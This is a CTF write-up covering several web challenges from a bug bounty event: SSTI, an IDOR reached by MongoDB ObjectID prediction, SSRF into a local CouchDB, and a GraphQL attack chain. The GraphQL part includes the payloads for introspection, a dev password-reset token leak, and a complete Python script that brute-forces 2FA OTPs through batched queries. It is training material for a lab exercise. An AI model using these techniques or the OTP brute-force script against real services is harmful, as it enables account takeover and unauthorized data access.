Hack the System - Bug Bounty CTF
Web
JinjaCare
Solvers: xxx
Author: Hack the System
Description
Jinjacare is a web application designed to help citizens manage and access their COVID-19 vaccination records. The platform allows users to store their vaccination history and generate digital certificates. They’ve asked you to hunt for any potential security issues in their application and retrieve the flag stored in their site.
Related Bug Bounty Reports:
Bug Report #1 - RCE via SSTI
Bug Report #2 - SSTI
Solution
After reading 2 bug reports, I found out that these are triggered via profile name and when email receive, they will be SSTI.
→ Let’s start the docker and see what we got.
This website is used for monitoring Covid-19 vaccination records and vaccination certificate.
→ Let’s register a new account.
After login, we can see dashboard contain Profile Management, Medical History, Vaccination Records, and even can download certificate.
→ Let’s try to download certificate.
We can see that the certificate got Name
, Vaccination Status
, Date of Issue
.
→ What if we can change the test
to ``?
See that test 49
is printed.
→ Now let’s read the flag by using Jinja2 SSTI to execute command.
1
Found out there is a flag.txt
file.
→ Let’s read the flag.
1
Grab the flag.
Flag: HTB{v3ry_e4sy_sst1_r1ght?_8d7833f4dd274cc7674b323d798ddb66}
NeoVault
Solvers: xxx
Author: Hack the System
Description
Neovault is a trusted banking application that allows users to effortlessly transfer funds to one another and conveniently download their transaction history. We invite you to explore the application for any potential vulnerabilities and uncover the flag hidden within its depths.
Related Bug Bounty Reports:
Bug Report #1 - Mongo Object ID Prediction
Bug Report #2 - IDOR
Solution
For this one, we gonna try to exploit IDOR by using script to generate monogodb object ids prediction to see if we can access or even see other user’s transaction history.
So this website just a banking application.
→ Let’s grab a new account.
As we can see the dashboard, we also got $100 from neo_system
account.
When checking burp suite, we can see our mongo object id from /api/v2/auth/me
request.
So far we know the object id from ourself and neo_system
account.
→ Gonna use mongo-objectid-predict to generate the object id so we can use these prediction to fuzz via transfer money from ourself to other user, if our transaction is successful, we can see the object id and even that user name.
First I will generate the object id prediction to a file.
1
python2 mongo-objectid-predict 6860047dcad9555961c1a248 > mongo_objectid_predict.txt
Then just make a simple transfer money from ourself to neo_system
as the two account that we know.
After that, check this request /api/v2/transactions
and intercept and send it to intruder.
Use Sniper Attack and then add the mongo_objectid_predict.txt
to the payload.
1
2
3
{
"toUserId":"$6860047dcad9555961c1a248$","amount":1,"description":"hello","category":"Food"
}
Add the $
to that object id.
When start attacking, check the status code and see if there is 201
, it means we have make another transaction to other user based on our predict object id.
Checking back the transaction history, we can see that we have make a transaction to user_with_flag
account.
Now let’s download again the transaction history by modify this request /api/v2/transactions/download-transactions
and change v2
to v1
.
Then add the id belong to user_with_flag
account.
1
2
3
{
"_id":"68600499cad9555961c1a256"
}
BOOM! Nail the flag.
Flag: HTB{n0t_s0_3asy_1d0r_c7dcad13ef6103ab7dcdb9adc52e3a9c}
CitiSmart
Solvers: xxx
Author: Hack the System
Description
Citismart is an innovative Smart City monitoring platform aimed at detecting anomalies in public sector operations. We invite you to explore the application for any potential vulnerabilities and uncover the hidden flag within its depths.
Related Bug Bounty Reports:
Bug Report #1 - Expose Hidden Endpoints
Bug Report #2 - SSRF
Solution
So this bug is gonna related to some hidden endpoints and SSRF inside this website.
→ Let’s start the docker and see what we got.
This website is used for monitoring public sector operations.
→ Let’s try to register a new account.
We can see that we can not register a new account, only login.
→ Let’s try randomly login.
Checking burp suite, we can see that there is a JWT
token in the response.
→ Let’s fuzz the hidden endpoints cause we need to find way to access inside this website.
After using dirsearch, we found /dashboard
endpoint.
→ Let’s access it without login.
Got into the dashboard, the reason may be we login failed but website prodive us token so we can leverage this to access the dashboard straightfoward.
Also we can add other endpoint to monitor.
Let’s add random endpoint to monitor and grab the request.
Up to this point, we can assume that there will be some kind of SSRF inside this website.
→ If we check again, these endpoint which being monitored has a specific port, so what if we can port fuzzing through intruder, there may be chance to find other port.
The reason adding #
after port to push state of the application to the client, it just like bookmark the current state of the application.
Found out 4 ports: 80
, 3000
, 5984
and 5986
.
Check the response from this request /api/dashboard/metrics
.
Found out there is port 5984
so checking google and this is a CouchDB
which is an open-source NoSQL database management system.
We can also see the response got CouchDB
in the response.
→ Let’s grab the flag from this database by modify this request /api/dashboard/endpoints
.
1
2
3
4
{
"url":"http://127.0.0.1:5984/citismart/FLAG#",
"sector":"abc"
}
The reason for getting citismart
and FLAG
is guessing based on what we have.
Nailed the flag.
Flag: HTB{sm4rt_cit1_but_n0t_s3cur3_32712ac229e16cdbad6d2ecf0239dda3}
SpeedNet
Solvers: xxx
Author: Hack the System
Description
Speednet is an Internet Service Provider platform that enables users to purchase internet services. We invite you to participate in our bug bounty program to identify any potential vulnerabilities within the application and retrieve the flag hidden on the site. For your testing, we have provided additional email services.
Please find the details below:
Email Site: http://IP:PORT/emails/
Email Address: test@email.htb
Related Bug Bounty Reports:
Bug Report #1 - Graphql Batching
Bug Report #2 - Graphql Introspection
Bug Report #3 - Alias-based Query Batching
Bug Report #4 - Hacking Graphql Endpoints
Solution
Brief about this challenge is we gonna register a new account with test@email.htb
and then login will need to has otp which we can get it from email site provided.
After reading those bug reports, the way to exploit this challenge is we gonna see the admin@speednet.htb
from our userProfile.
Then we gonna forgot and reset password for admin@speednet.htb
with devForgotPassword to grab the token.
When success change admin password, it will prompt to otp, resend the otp and intercept that request and craft a python script to brutefore to get that otp.
Able to login and grab the JWT token
from admin and Graphql from the invoicehistory to get flag.
Here is the step by step:
First just register a new account and login.
Then modify
userId
in thePOST graphql
to1
so we can able to see theadmin@speednet.htb
.
- Then abusing the graphql introspection to retrieve full schema better for latter step.
1
2
3
{
"query":"{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} "
}
- Now let’s forgot and reset password for
admin@speednet.htb
with devForgotPassword to grab the token.
1
2
3
4
{
"query":"\n mutation devForgotPassword($email: String!) {\n devForgotPassword(email: $email)\n }\n ",
"variables":{"email":"admin@speednet.htb"}
}
1
2
3
4
5
{
"data":{
"devForgotPassword":"Dev only! Password reset token: 1ec87901-f818-4374-bc35-b43e3dafca54"
}
}
- Change the admin password with the token we got.
1
2
3
4
5
6
7
{
"query": "mutation resetPassword($token: String!, $newPassword: String!) {\n resetPassword(token: $token, newPassword: $newPassword)\n}",
"variables": {
"token": "1ec87901-f818-4374-bc35-b43e3dafca54",
"newPassword": "pass@123"
}
}
1
2
3
4
5
{
"data":{
"resetPassword":"Password has been reset successfully"
}
}
- When we login to admin, it will prompt to otp, then we will resend otp and then intercept that request to grab the token from this request, and using bruteforce craft script to get match otp.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import json
import time
URL = "http://IP:PORT/graphql"
TOKEN = "<grab it when intercept the resend OTP request in admin login>"
BATCH_SIZE = 100
def send_batch(start, end):
queries = []
for i in range(start, end + 1):
otp = str(i).zfill(4)
queries.append({
"query": """
mutation VerifyTwoFactor($token: String!, $otp: String!) {
verifyTwoFactor(token: $token, otp: $otp) {
token
user { id email }
}
}
""",
"variables": {
"token": TOKEN,
"otp": otp
}
})
headers = {
"Content-Type": "application/json"
}
try:
response = requests.post(URL, json=queries, headers=headers, timeout=10)
try:
result = response.json()
except json.JSONDecodeError:
print(f"[!] JSON error. Status {response.status_code}. Body:\n{response.text}")
return False
for r in result:
if "data" in r and r["data"].get("verifyTwoFactor"):
print("[+] SUCCESS!")
print(json.dumps(r["data"]["verifyTwoFactor"], indent=2))
return True
return False
except requests.exceptions.RequestException as e:
print(f"[!] Request error: {e}")
return False
# Brute loop
for i in range(1000, 10000, BATCH_SIZE):
print(f"[*] Trying {i} to {min(i + BATCH_SIZE - 1, 9999)}")
success = send_batch(i, min(i + BATCH_SIZE - 1, 9999))
if success:
break
time.sleep(1.5)
- Now we have the
JWT token
from admin, we can use this to get the flag from the invoicehistory.
1
2
3
4
{
"query":"
query { invoiceHistory(limit:10) { id number amount status dueDate } }"
}
Grab the flag.
Flag: HTB{gr4phql_3xpl01t_1n_a_nutsh3ll_47afd474aef836364036af0e25d9daa1}
Sattrack
Solvers: xxx
Author: Hack the System
Description
Welcome to the Sattrack Bug Bounty Invitational for Authorized Users! Sattrack is a premier platform dedicated to monitoring satellite data, exclusively available to our selected authorized partners. We invite you to participate in our limited bug bounty program, aimed at identifying and addressing any security vulnerabilities within our application. Your contributions are invaluable in helping us maintain the integrity and security of our services.
You may use partner@rockyou.xyz:partn3r123
as a valid credentials.
To ensure optimal site performance, we have established a dedicated support page at /report
. Here, you can submit the URLs of any issues (non-security related) you encounter, and our admin team will promptly investigate and provide assistance.
Related Bug Bounty Reports:
Bug Report #1 - Mermaid Prototype Pollution
Bug Report #2 - Prototype Pollution
Bug Report #3 - JSON Escaping
Solution
For this flag, I got support to get this flag and also due to the time limit, so I can not able to reproduce again the process, sorry for this inconvenience.
Flag: HTB{cl13nt_s1d3_pp_4r3_d4ng3r0us_76d61db79df11cfc847048c16b026607}
PS: I found out a blog writeup written about this challenge Sattrack from @whale-tw. Big shout out to him.